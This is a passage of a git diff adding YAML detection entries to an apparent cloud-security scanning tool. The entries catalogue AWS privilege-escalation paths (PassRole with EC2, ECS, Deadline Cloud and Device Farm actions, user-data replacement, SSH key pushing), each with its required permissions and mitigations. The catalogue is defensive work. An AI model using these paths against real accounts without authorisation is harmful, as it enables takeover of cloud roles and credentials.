privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Control Tower privilege escalation techniques. +# Source: hacktricks-cloud aws-control-tower-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml new file mode 100644 index 0000000000..c98927ccc3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml @@ -0,0 +1,47 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Data Pipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-datapipeline-privesc/README.md. + +- id: aws-datapipeline-passrole-create-activate + provider: aws + service: datapipeline + title: Create and activate a Data Pipeline with passed roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#iampassrole-datapipelinecreatepipeline-datapipelineputpipelinedefinition-datapipelineactivatepipeline + source_revision: 171e422299 + summary: The source can obtain the privileges of passable EC2 instance-profile roles used as the pipeline resource role by running commands it defines on pipeline-launched instances. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: datapipeline:CreatePipeline + resource: "*" + - action: datapipeline:PutPipelineDefinition + resource: "*" + - action: datapipeline:ActivatePipeline + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "EC2 instance-profile roles in {account} (Data Pipeline resource role)" + outcome: workload_execution + conditions: + - id: passable_pipeline_role + description: iam:PassRole must also cover a pipeline role trusting datapipeline.amazonaws.com (and elasticmapreduce.amazonaws.com for EMR resources) that can launch the resources. + - id: service_availability + description: AWS Data Pipeline is closed to new customers (since 2024); only accounts already using it can create pipelines. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole and Data Pipeline write actions; migrate off Data Pipeline. + references: + - https://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-iam-roles.html + notes: The pipeline role (datapipeline principal) itself can also be targeted if a pipeline activity runs with it, but code execution happens on the resource role; only the resource role is modelled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml new file mode 100644 index 0000000000..2546812435 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS DataSync privilege escalation techniques. +# Source: hacktricks-cloud aws-datasync-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: DataSync uses the +# location role only for S3 transfers; no STS credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml new file mode 100644 index 0000000000..dc2fd40548 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml @@ -0,0 +1,13 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon DataZone privilege escalation techniques. +# Source: hacktricks-cloud aws-datazone-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Custom AWS service environments carry an +# IAM role trusting datazone.amazonaws.com whose credentials DataZone vends to project members; the vended session only +# blocks role chaining. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml new file mode 100644 index 0000000000..c8ef2859bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml @@ -0,0 +1,94 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Deadline Cloud privilege escalation techniques. +# Source: hacktricks-cloud aws-deadline-cloud-privesc/README.md (rev 171e422299). +# Queue and fleet roles trust credentials.deadline.amazonaws.com; attached_to_service names that principal directly +# because queue/fleet inventory is not collected (attachment resolves as unknown). + +- id: aws-deadline-passrole-createqueue-updatequeue + provider: aws + service: deadline + title: Attach a passed role to a queue and vend its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatequeueupdatequeue--iampassrole--deadlineassumequeueroleforuser + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting credentials.deadline.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: deadline:AssumeQueueRoleForUser + resource: "*" + any_of: + - - action: deadline:CreateQueue + resource: "*" + - - action: deadline:UpdateQueue + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: credentials.deadline.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting credentials.deadline.amazonaws.com passable in {account}" + outcome: credentials + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: farm_access + description: The source needs a farm it can create or update queues in and queue membership allowing credential vending. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Deadline Cloud roles with iam:PassedToService and specific role ARNs; limit queue creation and updates to farm administrators. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_UpdateQueue.html + notes: Reach is roles trusting credentials.deadline.amazonaws.com in PassRole scope. + +- id: aws-deadline-passrole-fleet-createworker + provider: aws + service: deadline + title: Attach a passed role to a fleet and vend it to a registered worker + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting credentials.deadline.amazonaws.com through a customer-managed fleet worker it registers. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: deadline:CreateWorker + resource: "*" + - action: deadline:AssumeFleetRoleForWorker + resource: "*" + any_of: + - - action: deadline:CreateFleet + resource: "*" + - - action: deadline:UpdateFleet + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: credentials.deadline.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting credentials.deadline.amazonaws.com passable in {account}" + outcome: credentials + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: customer_managed_fleet + description: Worker registration and fleet-role vending apply to customer-managed fleets. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Deadline Cloud fleet roles and deadline:CreateWorker / AssumeFleetRoleForWorker to the worker host identities. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + notes: Reach is roles trusting credentials.deadline.amazonaws.com in PassRole scope. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml new file mode 100644 index 0000000000..8175984a56 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Device Farm privilege escalation techniques. +# Source: hacktricks-cloud aws-device-farm-privesc/README.md (rev 171e422299). + +- id: aws-devicefarm-passrole-project-schedulerun + provider: aws + service: devicefarm + title: Run a custom test with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting devicefarm.amazonaws.com by scheduling a run with a test specification it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: devicefarm:ScheduleRun + resource: "*" + - action: devicefarm:CreateUpload + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: devicefarm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting devicefarm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: project_available + description: A project the source can schedule runs in (existing, or devicefarm:CreateProject) and a compatible device or device pool are required. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Device Farm execution roles with iam:PassedToService and specific role ARNs; limit run scheduling to CI. + references: + - https://docs.aws.amazon.com/devicefarm/latest/developerguide/custom-test-environment-iam-roles.html + notes: The role can be set on the project (CreateProject / UpdateProject) or overridden per run (ScheduleRun configuration). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml new file mode 100644 index 0000000000..5904512a1c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Data Lifecycle Manager privilege escalation techniques. +# Source: hacktricks-cloud aws-dlm-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml new file mode 100644 index 0000000000..cd22bd8ed8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Directory Service privilege escalation techniques. +# Source: hacktricks-cloud aws-directory-services-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml new file mode 100644 index 0000000000..047c66a40b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml @@ -0,0 +1,320 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 / Auto Scaling / EC2 Instance Connect privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-privesc/README.md. + +- id: aws-ec2-passrole-runinstances + provider: aws + service: ec2 + title: Launch an EC2 instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RunInstances + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict this. + - id: instance_access + description: The source needs a way to run code on the instance (user data, an SSH key pair, SSM); user data needs no extra permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService and specific role ARNs; require IMDSv2 and monitor RunInstances with instance profiles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html + notes: Creating a new instance profile for a role without one additionally needs iam:CreateInstanceProfile and iam:AddRoleToInstanceProfile. + +- id: aws-ec2-passrole-associate-instance-profile + provider: aws + service: ec2 + title: Associate or replace the instance profile of an instance the source controls + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-with-ec2associateiaminstanceprofile-and-ec2disassociateiaminstanceprofile-or-ec2replaceiaminstanceprofileassociation + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ec2.amazonaws.com in existing instance profiles by attaching such a profile to an instance it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: ec2:AssociateIamInstanceProfile + resource: "*" + - action: ec2:DisassociateIamInstanceProfile + resource: "*" + - - action: ec2:ReplaceIamInstanceProfileAssociation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: controls_ec2_instance + description: The source must already control an EC2 instance; Disassociate is only needed when the instance already has a profile. + - id: replacement_requires_running_instance + description: Direct profile replacement requires a running instance; a stopped instance with a profile needs the detach-then-associate branch and permission to start it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict instance-profile association actions and iam:PassRole on EC2 roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/attach-iam-role.html + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permission-to-pass-iam-roles.html + notes: Exact instance control and access to its new role credentials require fresh reviewed evidence. + +- id: aws-ec2-requestspotinstances-passrole + provider: aws + service: ec2 + title: Request a Spot Instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2requestspotinstances-iampassrole + source_revision: 171e422299 + summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RequestSpotInstances + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: spot_service_linked_role + description: The first Spot request in an account also needs iam:CreateServiceLinkedRole for spot.amazonaws.com when AWSServiceRoleForEC2Spot does not exist yet; ec2:CreateFleet / RequestSpotFleet are not a bypass because the fleet authorizes ec2:RunInstances as the caller. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService, and restrict ec2:RequestSpotInstances. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html + notes: The Service Authorization Reference lists only ec2:CreateTags and iam:PassRole as dependent actions of ec2:RequestSpotInstances; ec2:RunInstances is not evaluated for the Spot request, so this edge is distinct from aws-ec2-passrole-runinstances. + +- id: aws-ec2-modifyinstanceattribute-userdata + provider: aws + service: ec2 + title: Replace the user data of an existing instance and restart it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-user-data + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an existing instance by changing its user data and restarting it. + requires: + all_of: + - action: ec2:ModifyInstanceAttribute + resource: "{target.attached_resource_arn}" + - action: ec2:StartInstances + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2:ModifyInstanceAttribute + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2:ModifyInstanceAttribute in {account}" + outcome: workload_execution + preconditions: + - ec2_userdata_restart_execution_reviewed + conditions: + - id: userdata_execution + description: The exact instance must be known to execute changed user data on its next start and make its role credentials available to that code. A running instance also needs StopInstances and disabled API stop protection. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2:ModifyInstanceAttribute and stop/start permissions on instances with privileged roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html + notes: No principal edge is emitted from these IAM grants alone. Fresh reviewed evidence must bind changed-user-data execution, instance-profile membership, role credential access and stop protection to the same instance; missing evidence remains unresolved. The security-group replacement variant is excluded. + +- id: aws-ec2-launchtemplate-version-asg + provider: aws + service: ec2 + title: Publish a new default launch-template version consumed by an Auto Scaling group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2createlaunchtemplateversion-ec2createlaunchtemplate-ec2modifylaunchtemplate + source_revision: 171e422299 + summary: The source can place an EC2 instance-profile role in a new launch-template version that an Auto Scaling group may use on its next launch. + requires: + all_of: + - action: ec2:CreateLaunchTemplateVersion + resource: "{target.consumer_input_arn}" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + conditions: + - id: asg_uses_unpinned_version + description: A recorded Auto Scaling group must reference this template with $Latest, or with $Default when the source can also modify that template. + - id: delayed_launch + description: A new instance must launch (scale-out, replacement, instance refresh); the source may not control timing. + - id: slr_passrole + description: A later Auto Scaling launch uses its service-linked role to pass the selected EC2 instance-profile role; changing a version does not require the source to hold iam:PassRole. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin Auto Scaling groups to specific launch-template versions and restrict template version management. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permissions-for-launch-templates.html + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + notes: "{target.consumer_input_arn} resolves only to a collected launch template referenced by an Auto Scaling group with available capacity. The evaluator checks CreateLaunchTemplateVersion on that exact ARN and also ModifyLaunchTemplate on the same ARN for $Default. Mixed-instance overrides are joined to their own template. Later launch and user-data execution remain conditional." + +- id: aws-ec2-autoscaling-create-update-asg-passrole + provider: aws + service: ec2 + title: Create a launch configuration or template with a passed role and launch it through Auto Scaling + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingcreatelaunchconfiguration--ec2createlaunchtemplate--iampassrole-autoscalingcreateautoscalinggroup--autoscalingupdateautoscalinggroup + source_revision: 171e422299 + summary: The source can have Auto Scaling launch an instance from a configuration it controls with a passable instance profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: autoscaling:CreateLaunchConfiguration + resource: "*" + - action: autoscaling:CreateAutoScalingGroup + resource: "*" + - - action: autoscaling:CreateLaunchConfiguration + resource: "*" + - action: autoscaling:UpdateAutoScalingGroup + resource: "*" + - - action: ec2:CreateLaunchTemplate + resource: "*" + - action: ec2:RunInstances + resource: "*" + - action: autoscaling:CreateAutoScalingGroup + resource: "*" + - - action: ec2:CreateLaunchTemplate + resource: "*" + - action: ec2:RunInstances + resource: "*" + - action: autoscaling:UpdateAutoScalingGroup + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: launch_configurations_deprecated + description: New accounts cannot create launch configurations (deprecated since 2023-2024); the launch-template groups apply there. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles; Auto Scaling validates the caller's ec2:RunInstances and iam:PassRole for launch templates. + references: + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + notes: The template variant with ec2:RunInstances is already enough for aws-ec2-passrole-runinstances; it is kept to record the documented combination. + +- id: aws-ec2-instance-connect-sendsshpublickey + provider: aws + service: ec2 + title: Push a temporary SSH key to an instance with EC2 Instance Connect + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendsshpublickey + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an instance it can push an SSH key to and reach over the network. + requires: + all_of: + - action: ec2-instance-connect:SendSSHPublicKey + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2-instance-connect:SendSSHPublicKey + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2-instance-connect:SendSSHPublicKey in {account}" + preconditions: + - ec2_instance_connect_same_running_role_host + conditions: + - id: network_reachability + description: The source needs SSH network access (public IP, VPN, or an EC2 Instance Connect Endpoint with ec2-instance-connect:OpenTunnel). + - id: agent_installed + description: The instance must run the EC2 Instance Connect agent (Amazon Linux 2+/Ubuntu images include it). + - id: os_user_condition + description: The ec2:osuser condition may restrict which OS user can be used. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2-instance-connect:SendSSHPublicKey by instance and ec2:osuser; prefer SSM Session Manager with logging. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html + notes: The permission, running state, Linux platform and enabled applied instance metadata must belong to the same instance carrying the target role; SSH reachability, EC2 Instance Connect installation and a usable OS user remain conditional. + +- id: aws-ec2-passrole-requestspotfleet + provider: aws + service: ec2 + title: Create a Spot Fleet with a passable EC2 instance-profile role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#spot-fleet-request + source_revision: b587e6bd26 + summary: The source can run controlled code on Spot Fleet instances carrying a passable instance-profile role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RequestSpotFleet + resource: "arn:{source.partition}:ec2:*:{source.account}:spot-fleet-request/*" + - action: ec2:RunInstances + resource: "arn:{source.partition}:ec2:*:{source.account}:instance/*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: EC2 instance-profile roles passable to Spot Fleet in {account} + outcome: workload_execution + preconditions: + - ec2_spot_fleet_roles_ready + conditions: + - id: fleet_role + description: The Spot Fleet role must trust spotfleet.amazonaws.com and the source must be allowed to pass it. The Spot Fleet and Spot service-linked roles must exist or be creatable. + - id: launch_capacity + description: The requested AMI, subnet, security group, storage and instance must all satisfy the caller's EC2 launch permissions; the fleet must obtain capacity and run controlled code. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict use of the instance-profile role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ec2:RequestSpotFleet and iam:PassRole to approved instance profiles and fleet service roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-prerequisites.html + notes: Spot Fleet may keep relaunching instances after the initial request. Fleet-role and launch-resource authorization are separate from the target instance-profile role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml new file mode 100644 index 0000000000..3fae8341a8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECR / ECR Public privilege escalation techniques (image supply-chain into workload roles). +# Source: hacktricks-cloud aws-ecr-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml new file mode 100644 index 0000000000..ab6de53701 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -0,0 +1,261 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECS privilege escalation techniques. +# Source: hacktricks-cloud aws-ecs-privesc/README.md. + +- id: aws-ecs-passrole-registertaskdefinition-runtask + provider: aws + service: ecs + title: Register a task definition with a passed task role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsruntask + source_revision: 171e422299 + summary: The source can run a container image it controls with a passable ECS task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RegisterTaskDefinition + resource: "*" + - action: ecs:RunTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: cluster_and_network + description: A cluster with Fargate or EC2 capacity and (for awsvpc) a subnet is required; ecs:RunTask Resource is the task-definition ARN with an ecs:cluster condition. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: "" + +- id: aws-ecs-passrole-runtask-overrides + provider: aws + service: ecs + title: Run an existing task definition with overridden task role and command + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsruntask + source_revision: 171e422299 + summary: The source can run an existing ECS task definition with command and task-role overrides when that task can execute. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RunTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: existing_task_definition + description: At least one existing task definition covered by ecs:RunTask must exist. + - id: execution_role_passrole + description: On Fargate the PassRole check also covers the task definition's executionRoleArn, so iam:PassRole must cover that execution role too (the same passable role can be used for both when it can pull the image). + preconditions: + - ecs_existing_task_override_runnable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and ecs:RunTask to specific task definitions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_TaskOverride.html + notes: The "Runtime command overrides" section of the same page is the same edge. The evaluator binds RunTask to an active, described EC2-compatible task definition and active cluster with registered capacity, and checks a separate execution role if present; image pull and command execution remain conditional. + +- id: aws-ecs-passrole-registertaskdefinition-starttask + provider: aws + service: ecs + title: Register a task definition with a passed task role and start it on a container instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsstarttask + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by starting a container it controls with that role on an existing container instance. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RegisterTaskDefinition + resource: "*" + - action: ecs:StartTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: container_instance_exists + description: An EC2 (or EXTERNAL) container instance must exist in a covered cluster. + preconditions: + - ecs_container_instance_exists + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles. + references: [] + notes: "" + +- id: aws-ecs-passrole-registertaskdefinition-service + provider: aws + service: ecs + title: Register a task definition with a passed task role and deploy it as a service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsupdateserviceecscreateservice + source_revision: 171e422299 + summary: The source can start an ECS service using a task definition and container image it controls with a passable task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RegisterTaskDefinition + resource: "*" + any_of: + - - action: ecs:CreateService + resource: "*" + - - action: ecs:UpdateService + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: update_needs_existing_service + description: UpdateService needs an existing service in a covered cluster. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and service deployment actions. + references: [] + notes: "" + +- id: aws-ecs-registertaskdefinition-node-escape + provider: aws + service: ecs + title: Run a privileged container without a task role on EC2 capacity to reach node and co-located task roles + source: 